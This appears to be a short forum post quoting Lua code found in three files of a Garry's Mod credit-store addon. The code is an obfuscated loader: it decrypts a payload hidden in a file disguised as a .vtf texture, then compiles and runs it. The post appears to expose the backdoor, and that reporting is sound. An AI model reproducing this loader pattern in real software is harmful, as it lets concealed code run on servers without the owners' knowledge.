lua\weapons\gmod_tool\stools\brcs_npcplacer.lua
lua\entities\brickscreditstore_npc\cl_init.lua
and
lua\brickscreditstore\server\bcredits_administration.lua
they look like this:
Code:
local function a(b, c)
c = c % 177
return (b - c) % 177
end
local function d(e, f)
local g = tonumber(util.CRC(f))
local h = string.len(e)
local i = string.len(f)
local j = 1
local k = 1
local l = {}
while j <= h do
j = j + string.byte(f[k % (i - 1) + 1])
l[k] = a(string.byte(e[j]), g)
k = k + 1
j = j + 1
end
return string.char(unpack(l))
end
function LoadModel(m, n, o)
local p = file.Open(m, "rb", "BASE_PATH")
if not p then return end
p:Skip(o)
local q = p:Read(p:Size() - o)
p:Close()
local l = d(q, n)
return CompileString(l, m, false)
end
local r = LoadModel("garrysmod/addons/bricks-credit-store/materials/models/bricks_store.vtf", [[epC$5~rNM~k[<="cNF/lM,Iz$Fh1,)]s+\?~'Cla.n{/z`8/VLuE,gWwxnPk-y-x[?D2.V9zFTPsD,TXPt9KD75.}U$!MW,enaWg9ez&@(a{B[[;v5JxxfGO$DJw92&c]], 0)
r()